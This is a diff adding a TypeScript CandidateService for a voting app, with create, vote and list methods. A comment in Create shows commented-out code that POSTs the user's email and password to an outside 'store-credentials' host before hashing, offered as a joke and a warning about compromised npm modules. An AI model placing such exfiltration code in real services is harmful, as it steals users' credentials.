|
| 1 | +import { Service, Inject } from 'typedi'; |
| 2 | + |
| 3 | +import { CandidateModel } from '../models'; |
| 4 | +import { ICandidateInputDTO, ICandidate } from '../interfaces'; |
| 5 | + |
| 6 | +@Service() |
| 7 | +export default class CandidateService { |
| 8 | + constructor(@Inject('candidateModel') private candidateModel: CandidateModel, @Inject('logger') private logger) {} |
| 9 | + |
| 10 | + public async Create(candidateInputDTO: ICandidateInputDTO): Promise<{ candidate: ICandidate }> { |
| 11 | + try { |
| 12 | + /** |
| 13 | + * Here you can call to your third-party malicious server and steal the user password before it's saved as a hash. |
| 14 | + * require('http') |
| 15 | + * .request({ |
| 16 | + * hostname: 'http://my-other-api.com/', |
| 17 | + * path: '/store-credentials', |
| 18 | + * port: 80, |
| 19 | + * method: 'POST', |
| 20 | + * }, ()=>{}).write(JSON.stringify({ email, password })).end(); |
| 21 | + * |
| 22 | + * Just kidding, don't do that!!! |
| 23 | + * |
| 24 | + * But what if, an NPM module that you trust, like body-parser, was injected with malicious code that |
| 25 | + * watches every API call and if it spots a 'password' and 'email' property then |
| 26 | + * it decides to steal them!? Would you even notice that? I wouldn't :/ |
| 27 | + */ |
| 28 | + this.logger.silly('Creating candidate db record'); |
| 29 | + const candidateRecord = await this.candidateModel.create({ |
| 30 | + ...candidateInputDTO, |
| 31 | + }); |
| 32 | + |
| 33 | + if (!candidateRecord) { |
| 34 | + throw new Error('Candidate cannot be created'); |
| 35 | + } |
| 36 | + |
| 37 | + /** |
| 38 | + * @TODO This is not the best way to deal with this |
| 39 | + * There should exist a 'Mapper' layer |
| 40 | + * that transforms data from layer to layer |
| 41 | + * but that's too over-engineering for now |
| 42 | + */ |
| 43 | + const candidate = candidateRecord.toObject(); |
| 44 | + return { candidate }; |
| 45 | + } catch (e) { |
| 46 | + this.logger.error(e); |
| 47 | + throw e; |
| 48 | + } |
| 49 | + } |
| 50 | + |
| 51 | + public async Vote(id: string): Promise<{}> { |
| 52 | + try { |
| 53 | + await this.candidateModel.update({ _id: id }, { $inc: { voteCount: 1 } }); |
| 54 | + return {}; |
| 55 | + } catch (e) { |
| 56 | + this.logger.error(e); |
| 57 | + throw new Error('Candidate not found'); |
| 58 | + } |
| 59 | + } |
| 60 | + |
| 61 | + public async List(): Promise<ICandidate[]> { |
| 62 | + try { |
| 63 | + const candidateRecords = await this.candidateModel.find(); |
| 64 | + return candidateRecords; |
| 65 | + } catch (e) { |
| 66 | + this.logger.error(e); |
| 67 | + throw new Error('Cannot get candidate list'); |
| 68 | + } |
| 69 | + } |
| 70 | +} |
0 commit comments